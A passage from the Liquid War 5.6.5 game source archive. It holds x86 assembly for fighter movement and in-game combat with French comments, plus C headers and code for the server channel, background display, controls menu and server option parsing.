movb %ds:(%eax),%dl #pixel memorise mov ARG_CURRENT_AREA_DISP(%ebp),%eax #eax=cur_area_disp->dat add %ecx,%eax #pointe sur pixel movb %ds:(%eax),%dh #couleur du monstre movb %dl,%ds:(%eax) #effacement add OFFSET_P0(%ebx),%eax #deplacement movb %dh,%ds:(%eax) #affichage jmp next_monster #fini avec ce monstre... skip_3: /*------------------------------------------------------------------*/ /* test si deplacement possible dans direction associee a p1 */ /*------------------------------------------------------------------*/ mov %ecx,%ebx #on recupere la dir add ARG_FIGHTER_MOVE_OFFSET(%ebp),%ebx #ebx=pointeur a garder!!! mov OFFSET_P1(%ebx),%eax #eax=offs ds cur_area mov %eax,ARG_TEMP6(%ebp) #offset dir p1 memorise shl $3,%eax add %edi,%eax #eax=pointeur sur place mov PLACE_MESH(%eax),%edx #edx=pointeur sur mesh cmp $0,%edx #la place est-elle un mur? je skip_4 #oui mov PLACE_FIGHTER(%eax),%edx #edx=pointeur sur fighter cmp $0,%edx #la place est-elle libre? jne skip_4 #non /*------------------------------------------------------------------*/ /* deplacement dans direction associee a p1 */ /*------------------------------------------------------------------*/ movl $0,%ds:PLACE_FIGHTER(%edi) #on vide dans cur_area mov %esi,%ds:PLACE_FIGHTER(%eax) #nouvelle place add ARG_FIGHTER_MOVE_XY(%ebp),%ecx #offset ds move_xy mov OFFSET_P1(%ecx),%edx #on charge l increm addl %edx,%ds:FIGHTER_XY(%esi) #addition des coord mov ARG_TEMP2(%ebp),%ecx #y*cur_area_w+x mov ARG_CURRENT_AREA_BACK(%ebp),%eax #eax=cur_area_back->dat add %ecx,%eax #pointe sur pixel movb %ds:(%eax),%dl #pixel memorise mov ARG_CURRENT_AREA_DISP(%ebp),%eax #eax=cur_area_disp->dat add %ecx,%eax #pointe sur pixel movb %ds:(%eax),%dh #couleur du monstre movb %dl,%ds:(%eax) #effacement add OFFSET_P1(%ebx),%eax #deplacement movb %dh,%ds:(%eax) #affichage jmp next_monster #fini avec ce monstre... skip_4: /*------------------------------------------------------------------*/ /* test si deplacement possible dans direction associee a p2 */ /*------------------------------------------------------------------*/ mov %ecx,%ebx #on recupere la dir add ARG_FIGHTER_MOVE_OFFSET(%ebp),%ebx #ebx=pointeur a garder!!! mov OFFSET_P2(%ebx),%eax #eax=offs ds cur_area mov %eax,ARG_TEMP7(%ebp) #offset dir p2 memorise shl $3,%eax add %edi,%eax #eax=pointeur sur place mov PLACE_MESH(%eax),%edx #edx=pointeur sur mesh cmp $0,%edx #la place est-elle un mur? je skip_5 #oui mov PLACE_FIGHTER(%eax),%edx #edx=pointeur sur fighter cmp $0,%edx #la place est-elle libre? jne skip_5 #non /*------------------------------------------------------------------*/ /* deplacement dans direction associee a p2 */ /*------------------------------------------------------------------*/ movl $0,%ds:PLACE_FIGHTER(%edi) #on vide dans cur_area mov %esi,%ds:PLACE_FIGHTER(%eax) #nouvelle place add ARG_FIGHTER_MOVE_XY(%ebp),%ecx #offset ds move_xy mov OFFSET_P2(%ecx),%edx #on charge l increm addl %edx,%ds:FIGHTER_XY(%esi) #addition des coord mov ARG_TEMP2(%ebp),%ecx #y*cur_area_w+x mov ARG_CURRENT_AREA_BACK(%ebp),%eax #eax=cur_area_back->dat add %ecx,%eax #pointe sur pixel movb %ds:(%eax),%dl #pixel memorise mov ARG_CURRENT_AREA_DISP(%ebp),%eax #eax=cur_area_disp->dat add %ecx,%eax #pointe sur pixel movb %ds:(%eax),%dh #couleur du monstre movb %dl,%ds:(%eax) #effacement add OFFSET_P2(%ebx),%eax #deplacement movb %dh,%ds:(%eax) #affichage jmp next_monster #fini avec ce monstre... skip_5: /*------------------------------------------------------------------*/ /* test si deplacement possible dans direction associee a p3 */ /*------------------------------------------------------------------*/ mov %ecx,%ebx #on recupere la dir add ARG_FIGHTER_MOVE_OFFSET(%ebp),%ebx #ebx=pointeur a garder!!! mov OFFSET_P3(%ebx),%eax #eax=offs ds cur_area shl $3,%eax add %edi,%eax #eax=pointeur sur place mov PLACE_MESH(%eax),%edx #edx=pointeur sur mesh cmp $0,%edx #la place est-elle un mur? je skip_6 #oui mov PLACE_FIGHTER(%eax),%edx #edx=pointeur sur fighter cmp $0,%edx #la place est-elle libre? jne skip_6 #non /*------------------------------------------------------------------*/ /* deplacement dans direction associee a p3 */ /*------------------------------------------------------------------*/ movl $0,%ds:PLACE_FIGHTER(%edi) #on vide dans cur_area mov %esi,%ds:PLACE_FIGHTER(%eax) #nouvelle place add ARG_FIGHTER_MOVE_XY(%ebp),%ecx #offset ds move_xy mov OFFSET_P3(%ecx),%edx #on charge l increm addl %edx,%ds:FIGHTER_XY(%esi) #addition des coord mov ARG_TEMP2(%ebp),%ecx #y*cur_area_w+x mov ARG_CURRENT_AREA_BACK(%ebp),%eax #eax=cur_area_back->dat add %ecx,%eax #pointe sur pixel movb %ds:(%eax),%dl #pixel memorise mov ARG_CURRENT_AREA_DISP(%ebp),%eax #eax=cur_area_disp->dat add %ecx,%eax #pointe sur pixel movb %ds:(%eax),%dh #couleur du monstre movb %dl,%ds:(%eax) #effacement add OFFSET_P3(%ebx),%eax #deplacement movb %dh,%ds:(%eax) #affichage jmp next_monster #fini avec ce monstre... skip_6: /*------------------------------------------------------------------*/ /* test si deplacement possible dans direction associee a p4 */ /*------------------------------------------------------------------*/ mov %ecx,%ebx #on recupere la dir add ARG_FIGHTER_MOVE_OFFSET(%ebp),%ebx #ebx=pointeur a garder!!! mov OFFSET_P4(%ebx),%eax #eax=offs ds cur_area shl $3,%eax add %edi,%eax #eax=pointeur sur place mov PLACE_MESH(%eax),%edx #edx=pointeur sur mesh cmp $0,%edx #la place est-elle un mur? je skip_7 #oui mov PLACE_FIGHTER(%eax),%edx #edx=pointeur sur fighter cmp $0,%edx #la place est-elle libre? jne skip_7 #non /*------------------------------------------------------------------*/ /* deplacement dans direction associee a p4 */ /*------------------------------------------------------------------*/ movl $0,%ds:PLACE_FIGHTER(%edi) #on vide dans cur_area mov %esi,%ds:PLACE_FIGHTER(%eax) #nouvelle place add ARG_FIGHTER_MOVE_XY(%ebp),%ecx #offset ds move_xy mov OFFSET_P4(%ecx),%edx #on charge l increm addl %edx,%ds:FIGHTER_XY(%esi) #addition des coord mov ARG_TEMP2(%ebp),%ecx #y*cur_area_w+x mov ARG_CURRENT_AREA_BACK(%ebp),%eax #eax=cur_area_back->dat add %ecx,%eax #pointe sur pixel movb %ds:(%eax),%dl #pixel memorise mov ARG_CURRENT_AREA_DISP(%ebp),%eax #eax=cur_area_disp->dat add %ecx,%eax #pointe sur pixel movb %ds:(%eax),%dh #couleur du monstre movb %dl,%ds:(%eax) #effacement add OFFSET_P4(%ebx),%eax #deplacement movb %dh,%ds:(%eax) #affichage jmp next_monster #fini avec ce monstre... skip_7: /*------------------------------------------------------------------*/ /* test si attaque dans direction associee a p0 */ /*------------------------------------------------------------------*/ mov ARG_TEMP5(%ebp),%eax #mega astuce!!! shl $3,%eax add %edi,%eax #eax=pointeur sur place mov PLACE_MESH(%eax),%edx #edx=pointeur sur mesh cmp $0,%edx #la place est-elle un mur? je skip_8 #oui, fini mov PLACE_FIGHTER(%eax),%edx #edx=pointeur sur fighter cmp $0,%edx #y-a-t-il un streum? je skip_8 #non, fini movb ARG_TEMP1(%ebp),%al #recupere team cmpb FIGHTER_TEAM(%edx),%al #compare je skip_8 #les memes... /*------------------------------------------------------------------*/ /* attaque ds dir associee a p0 */ /*------------------------------------------------------------------*/ xor %ecx,%ecx # ecx a 0 mov %al,%cl # ecx=al shl $2,%cl # ecx=team*4 mov ARG_ATTACK(%ebp),%ebx # ebx=attack add %ecx,%ebx # ebx=attack[team] movw FIGHTER_HEALTH(%edx),%ax # ax=health du voisin subw (%ebx),%ax # attaque!!! jg no_change_team_0 # change de camp??? mov ARG_NEW_HEALTH(%ebp),%ebx # ebx=new_health add %ecx,%ebx # ebx=new_health[team] movw (%ebx),%bx # bx=valeur de n_h[team] new_health_loop_0: add %bx,%ax # health+=new_health jl new_health_loop_0 # tant que health<0 mov ARG_MAX_FIGHTER_HEALTH_1(%ebp),%bx cmpw %bx,%ax # health>max_health-1? jle not_to_much_new_health_0 mov %bx,%ax # health=max_health-1 not_to_much_new_health_0: shr $2,%cl movb %cl,FIGHTER_TEAM(%edx) # changement de team shl $2,%cl # en memoire jmp display_attacked_fighter_0 no_change_team_0: xor %ecx,%ecx # ecx=0 movb FIGHTER_TEAM(%edx),%cl # cl=team shl $2,%cl # ecx=team*4 display_attacked_fighter_0: movw %ax,FIGHTER_HEALTH(%edx) # health en mem cwde # eax=ax mov ARG_COLORS_PER_TEAM(%ebp),%ebx # bx=colors cdq mull %ebx # eax*=colors mov ARG_MAX_FIGHTER_HEALTH_1(%ebp),%ebx # bx=max_health inc %ebx cdq divl %ebx # eax/=max_health mov ARG_COLOR_FIRST_ENTRY(%ebp),%ebx # ebx=cfe add %ecx,%ebx # ebx=cfe+team addb (%ebx),%al # eax=color mov ARG_CURRENT_AREA_DISP(%ebp),%ebx # ecx=cur_area_disp>dat add ARG_TEMP2(%ebp),%ebx # y*cur_area_w+x add ARG_TEMP5(%ebp),%ebx #on recupere la dir movb %al,(%ebx) jmp next_monster skip_8: /*------------------------------------------------------------------*/ /* test si attaque dans direction associee a p1 */ /*------------------------------------------------------------------*/ mov ARG_TEMP6(%ebp),%eax #mega astuce!!! shl $3,%eax add %edi,%eax #eax=pointeur sur place mov PLACE_MESH(%eax),%edx #edx=pointeur sur mesh cmp $0,%edx #la place est-elle un mur? je skip_9 #oui, fini mov PLACE_FIGHTER(%eax),%edx #edx=pointeur sur fighter cmp $0,%edx #y-a-t-il un streum? je skip_9 #non, fini movb ARG_TEMP1(%ebp),%al #recupere team cmpb FIGHTER_TEAM(%edx),%al #compare je skip_9 #les memes... /*------------------------------------------------------------------*/ /* attaque ds dir associee a p1 */ /*------------------------------------------------------------------*/ xor %ecx,%ecx # ecx a 0 mov %al,%cl # ecx=al shl $2,%cl # ecx=team*4 mov ARG_ATTACK(%ebp),%ebx # ebx=attack add %ecx,%ebx # ebx=attack[team] movw FIGHTER_HEALTH(%edx),%ax # ax=health du voisin mov (%ebx),%bx # bx=force d attaque shr $SIDE_ATTACK_FACTOR,%bx # force/ car # attaque sur le cote subw %bx,%ax # attaque!!! jg no_change_team_1 # change de camp??? mov ARG_NEW_HEALTH(%ebp),%ebx # ebx=new_health add %ecx,%ebx # ebx=new_health[team] movw (%ebx),%bx # bx=valeur de n_h[team] new_health_loop_1: add %bx,%ax # health+=new_health jl new_health_loop_1 # tant que health<0 mov ARG_MAX_FIGHTER_HEALTH_1(%ebp),%bx cmpw %bx,%ax # health>max_health-1? jle not_to_much_new_health_1 mov %bx,%ax # health=max_health-1 not_to_much_new_health_1: shr $2,%cl movb %cl,FIGHTER_TEAM(%edx) # changement de team shl $2,%cl # en memoire jmp display_attacked_fighter_1 no_change_team_1: xor %ecx,%ecx # ecx=0 movb FIGHTER_TEAM(%edx),%cl # cl=team shl $2,%cl # ecx=team*4 display_attacked_fighter_1: movw %ax,FIGHTER_HEALTH(%edx) # health en mem cwde # eax=ax mov ARG_COLORS_PER_TEAM(%ebp),%ebx # bx=colors cdq mull %ebx # eax*=colors mov ARG_MAX_FIGHTER_HEALTH_1(%ebp),%ebx # bx=max_health inc %ebx cdq divl %ebx # eax/=max_health mov ARG_COLOR_FIRST_ENTRY(%ebp),%ebx # ebx=cfe add %ecx,%ebx # ebx=cfe+team addb (%ebx),%al # eax=color mov ARG_CURRENT_AREA_DISP(%ebp),%ebx # ecx=cur_area_disp>dat add ARG_TEMP2(%ebp),%ebx # y*cur_area_w+x add ARG_TEMP6(%ebp),%ebx #on recupere la dir movb %al,(%ebx) jmp next_monster skip_9: /*------------------------------------------------------------------*/ /* test si attaque dans direction associee a p2 */ /*------------------------------------------------------------------*/ mov ARG_TEMP6(%ebp),%eax #mega astuce!!! shl $3,%eax add %edi,%eax #eax=pointeur sur place mov PLACE_MESH(%eax),%edx #edx=pointeur sur mesh cmp $0,%edx #la place est-elle un mur? je skip_10 #oui, fini mov PLACE_FIGHTER(%eax),%edx #edx=pointeur sur fighter cmp $0,%edx #y-a-t-il un streum? je skip_10 #non, fini movb ARG_TEMP1(%ebp),%al #recupere team cmpb FIGHTER_TEAM(%edx),%al #compare je skip_10 #les memes... /*------------------------------------------------------------------*/ /* attaque ds dir associee a p2 */ /*------------------------------------------------------------------*/ xor %ecx,%ecx # ecx a 0 mov %al,%cl # ecx=al shl $2,%cl # ecx=team*4 mov ARG_ATTACK(%ebp),%ebx # ebx=attack add %ecx,%ebx # ebx=attack[team] movw FIGHTER_HEALTH(%edx),%ax # ax=health du voisin mov (%ebx),%bx # bx=force d attaque shr $SIDE_ATTACK_FACTOR,%bx # force/ car # attaque sur le cote subw %bx,%ax # attaque!!! jg no_change_team_2 # change de camp??? mov ARG_NEW_HEALTH(%ebp),%ebx # ebx=new_health add %ecx,%ebx # ebx=new_health[team] movw (%ebx),%bx # bx=valeur de n_h[team] new_health_loop_2: add %bx,%ax # health+=new_health jl new_health_loop_2 # tant que health<0 mov ARG_MAX_FIGHTER_HEALTH_1(%ebp),%bx cmpw %bx,%ax # health>max_health-1? jle not_to_much_new_health_2 mov %bx,%ax # health=max_health-1 not_to_much_new_health_2: shr $2,%cl movb %cl,FIGHTER_TEAM(%edx) # changement de team shl $2,%cl # en memoire jmp display_attacked_fighter_2 no_change_team_2: xor %ecx,%ecx # ecx=0 movb FIGHTER_TEAM(%edx),%cl # cl=team shl $2,%cl # ecx=team*4 display_attacked_fighter_2: movw %ax,FIGHTER_HEALTH(%edx) # health en mem cwde # eax=ax mov ARG_COLORS_PER_TEAM(%ebp),%ebx # bx=colors cdq mull %ebx # eax*=colors mov ARG_MAX_FIGHTER_HEALTH_1(%ebp),%ebx # bx=max_health inc %ebx cdq divl %ebx # eax/=max_health mov ARG_COLOR_FIRST_ENTRY(%ebp),%ebx # ebx=cfe add %ecx,%ebx # ebx=cfe+team addb (%ebx),%al # eax=color mov ARG_CURRENT_AREA_DISP(%ebp),%ebx # ecx=cur_area_disp>dat add ARG_TEMP2(%ebp),%ebx # y*cur_area_w+x add ARG_TEMP6(%ebp),%ebx #on recupere la dir movb %al,(%ebx) jmp next_monster skip_10: /*------------------------------------------------------------------*/ /* test si regeneration dans direction associee a p0 */ /*------------------------------------------------------------------*/ mov ARG_TEMP5(%ebp),%eax #mega astuce!!! shl $3,%eax add %edi,%eax #eax=pointeur sur place mov PLACE_MESH(%eax),%edx #edx=pointeur sur mesh cmp $0,%edx #la place est-elle un mur? je skip_11 #oui, fini mov PLACE_FIGHTER(%eax),%edx #edx=pointeur sur fighter cmp $0,%edx #y-a-t-il un streum? je skip_11 #non, fini movb ARG_TEMP1(%ebp),%al #recupere team cmpb FIGHTER_TEAM(%edx),%al #compare jne skip_11 #les memes... /*------------------------------------------------------------------*/ /* regeneration ds dir associee a p0 */ /*------------------------------------------------------------------*/ xor %ecx,%ecx # ecx a 0 mov %al,%cl # ecx=al shl $2,%cl # ecx=team*4 mov ARG_DEFENSE(%ebp),%ebx # ebx=defense add %ecx,%ebx # ebx=defense[team] movw FIGHTER_HEALTH(%edx),%ax # ax=health du voisin addw (%ebx),%ax # regeneration!!! mov ARG_MAX_FIGHTER_HEALTH_1(%ebp),%bx cmpw %bx,%ax # health>max_health? jle not_to_much_defense mov %bx,%ax not_to_much_defense: jmp display_attacked_fighter_0 skip_11: /*------------------------------------------------------------------*/ /* fin de la boucle, on passe a la suite */ /*------------------------------------------------------------------*/ next_monster: add $SIZE_OF_FIGHTER,%esi # on passe au streumon suivant pop %ecx dec %ecx je the_end jmp main_loop the_end: popw %gs popw %fs popw %es popl %edi popl %esi popl %edx popl %ecx popl %ebx popl %eax /* movl %ebp, %esp*/ popl %ebp ret # retour au c liquidwar-5.6.5/src/srvchan.h0000664000372000037200000001403413407756104015547 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : srvchan.h */ /* content : handles a server network channel */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_SRVCHAN #define LIQUID_WAR_INCLUDE_SRVCHAN /*==================================================================*/ /* includes */ /*==================================================================*/ #include "base.h" #include "sockgen.h" #include "srvteam.h" #include "netkey.h" #include "netconf.h" #include "startinf.h" #include "netmess.h" #include "chat.h" /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { int sock; char ip[LW_SOCK_IP_SIZE]; int port; int program_ok; int version_ok; int password_ok; int ready_ok; int nb_local_teams; int start; void *map; LW_NETCONF config; LW_SRVTEAM team[NB_TEAMS]; LW_CHAT_HISTORY chat; unsigned int checksum_recv; unsigned int checksum_send; int normal_quit; } LW_SRVCHAN; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_srvchan_wait_teams (LW_SRVCHAN * chan, int *free_teams, int sock, void **map, LW_NETCONF * config, char *password); int lw_srvchan_keepalive (LW_SRVCHAN * chan, int waited_teams, LW_TEAMSTARTINFO * team_start_info, LW_CHAT_HISTORY * chat); int lw_srvchan_tell_who (LW_SRVCHAN * chan, void *map, LW_NETCONF * config); int lw_srvchan_final_ok (LW_SRVCHAN * chan); int lw_srvchan_find_team_by_server_id (LW_SRVCHAN * chan, int server_id); int lw_srvchan_find_first_free_team (LW_SRVCHAN * chan); void lw_srvchan_close (LW_SRVCHAN * chan); int lw_srvchan_recv_keys (LW_SRVCHAN * chan, LW_NETKEY * netkey); int lw_srvchan_send_keys (LW_SRVCHAN * chan, LW_NETKEY * netkey); int lw_srvchan_handle_ping (int sock, LW_NETMESS * mess); int lw_srvchan_handle_echo (int sock, LW_NETMESS * mess); int lw_srvchan_handle_program (int sock, LW_NETMESS * mess, int *ok); int lw_srvchan_handle_version (int sock, LW_NETMESS * mess, int *ok); int lw_srvchan_handle_password (int sock, LW_NETMESS * mess, int *ok, char *password); int lw_srvchan_handle_free (int sock, LW_NETMESS * mess, int free_teams, int *ok); int lw_srvchan_handle_unknown (int sock, LW_NETMESS * mess); int lw_srvchan_handle_quit (int sock, LW_NETMESS * mess, int *normal_quit); #endif liquidwar-5.6.5/src/back.h0000664000372000037200000001036213407756104015003 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : back.h */ /* contenu : utilitaires de gestion de l'arriere plan */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_BACK #define LIQUID_WAR_INCLUDE_BACK /*==================================================================*/ /* includes */ /*==================================================================*/ #include /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void display_a_back_image (BITMAP * bmp); void display_back_image (void); #endif liquidwar-5.6.5/src/controls.c0000664000372000037200000001432513407756104015744 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : controls.c */ /* content : controls menu */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "back.h" #include "base.h" #include "config.h" #include "dialog.h" #include "menu.h" #include "options.h" #include "lang.h" #include "controls.h" #include "mouse.h" #include "sound.h" #include "joystick.h" #include "log.h" /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static int slider_mouse (void *dp3, int d2) { int *val; val = dp3; *val = d2; lw_mouse_reset_control (); play_click (); return 0; } /*------------------------------------------------------------------*/ int controls_options (void) { DIALOG d[9]; int choix = 4, retour = 0; memset (d, 0, sizeof (d)); while (retour == 0) { standard_button (d + 4, 0, 0, 2, 4); standard_button (d + 5, 1, 0, 2, 4); standard_big_button (d + 6, 0, 2, 1, 4); standard_button (d + 7, 0, 3, 1, 4); quick_buttons (d); d[4].proc = my_textbox_proc; d[4].dp = lw_lang_string (LW_LANG_STRING_CONTROLS_JOYSTICK); switch (CONFIG_JOYSTICK_ON) { case 1: d[5].dp = lw_lang_string (LW_LANG_STRING_CONTROLS_2JOYSTICKS); break; case 2: d[5].dp = lw_lang_string (LW_LANG_STRING_CONTROLS_4BUTTONS); break; case 3: d[5].dp = lw_lang_string (LW_LANG_STRING_CONTROLS_STANDARD); break; default: d[5].dp = lw_lang_string (LW_LANG_STRING_CONTROLS_OFF); break; } d[6].proc = my_textbox_proc; d[6].dp = lw_lang_string (LW_LANG_STRING_CONTROLS_MOUSESENSIB); d[7].proc = my_slider_proc; d[7].dp = NULL; d[7].d1 = 8; d[7].d2 = CONFIG_MOUSE_GAP; d[7].dp2 = slider_mouse; d[7].dp3 = &CONFIG_MOUSE_GAP; d[8].proc = 0; choix = my_do_dialog (d, choix); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; else display_back_image (); break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; case 5: CONFIG_JOYSTICK_ON++; if (CONFIG_JOYSTICK_ON > 3) CONFIG_JOYSTICK_ON = 0; my_initialise_joystick (); break; } } if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/server.c0000664000372000037200000003076313407756104015413 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : server.c */ /* content : main source for the liquidwar-server executable */ /* last update : April 14th 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "server.h" #include "netmess.h" #include "sockgen.h" #include "parser.h" #include "basicopt.h" #include "srvcont.h" #include "log.h" #include "wwwsrv.h" #include "thrdgen.h" #include "macro.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_SERVER_IDENT_LAG "lag" #define LW_SERVER_IDENT_PORT "port" #define LW_SERVER_IDENT_METASERVER "metaserver" #define LW_SERVER_IDENT_PUBLIC "public" #define LW_SERVER_IDENT_PRIVATE "private" #define LW_SERVER_IDENT_PASSWORD "password" #define LW_SERVER_IDENT_COMMENT "comment" #define LW_SERVER_IDENT_LOG "log" #define LW_SERVER_IDENT_CALLBACK "callback" /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ static int get_nb_teams (); static int get_lag (); static int get_port (); static int get_privacy (char *metaserver); static char *get_metaserver (); static char *get_password (); static char *get_comment (); static char *get_callback (); /*------------------------------------------------------------------*/ /* * This function returns how many teams there must be. Basically, * it checks the command line parameters, and if the number * of teams has not be told, then it prompts the user for it. */ static int get_nb_teams () { int i; char str_i[33]; int result = 0; char c; for (i = 1; i <= NB_TEAMS; ++i) { LW_MACRO_SPRINTF1 (str_i, "%d", i); if (exist_argument (str_i)) { result = i; } } if (result < 2 || result > NB_TEAMS) { log_print_str ("How many teams will connect to this server? "); while ((c = getchar ()) == '\n'); if (c >= '2' && c <= '0' + NB_TEAMS) { result = c - '0'; log_print_str ("Use \"-"); log_print_int (result); log_println_str ("\" to get rid of this question."); } } return result; } /*------------------------------------------------------------------*/ /* * This function returns the server lag. * This parameter is quite important, since it's the number of rounds * which will elapse between the moment when the client sends his * key strokes and the moment when he will receive them back from * the server, along with the information from other players. */ static int get_lag () { int result = LW_SERVER_DEFAULT_LAG; if (exist_argument (LW_SERVER_IDENT_LAG)) { result = get_argument_int (LW_SERVER_IDENT_LAG); if (result < 0) { result = 0; } } return result; } /*------------------------------------------------------------------*/ /* * Returns the port which should be used to communicate with clients */ static int get_port () { int result = LW_SERVER_DEFAULT_PORT; if (exist_argument (LW_SERVER_IDENT_PORT)) { result = get_argument_int (LW_SERVER_IDENT_PORT); if (result <= 0) { result = LW_SERVER_DEFAULT_PORT; } } return result; } /*------------------------------------------------------------------*/ /* * This function returns 1 if the server should register on * the meta server and 0 if it should not do it */ static int get_privacy (char *metaserver) { int result = 0; int chosen = 0; char c; if (exist_argument (LW_SERVER_IDENT_PUBLIC)) { /* * The command line explicitely says -public, * we register on the metaserver */ chosen = 1; result = 1; } if (exist_argument (LW_SERVER_IDENT_PRIVATE)) { /* * The command line explicitely says -private, * we do not register on the metaserver */ chosen = 1; } if (!chosen) { /* * no command line option, we ask the question * interactively */ log_print_str ("Register on \""); log_print_str (metaserver); log_print_str ("\" (y/n)? "); while ((c = getchar ()) == '\n'); if (c == 'y' || c == 'Y') { result = 1; } if (result) { log_println_str ("Use \"-public\" to get rid of this question."); } else { log_println_str ("Use \"-private\" to get rid of this question."); } } return result; } /*------------------------------------------------------------------*/ /* * Returns the metaserver name */ static char * get_metaserver () { char *result = LW_SERVER_DEFAULT_METASERVER; if (exist_argument (LW_SERVER_IDENT_METASERVER)) { result = get_argument_str (LW_SERVER_IDENT_METASERVER); } return result; } /*------------------------------------------------------------------*/ /* * Returns the password associated to the server 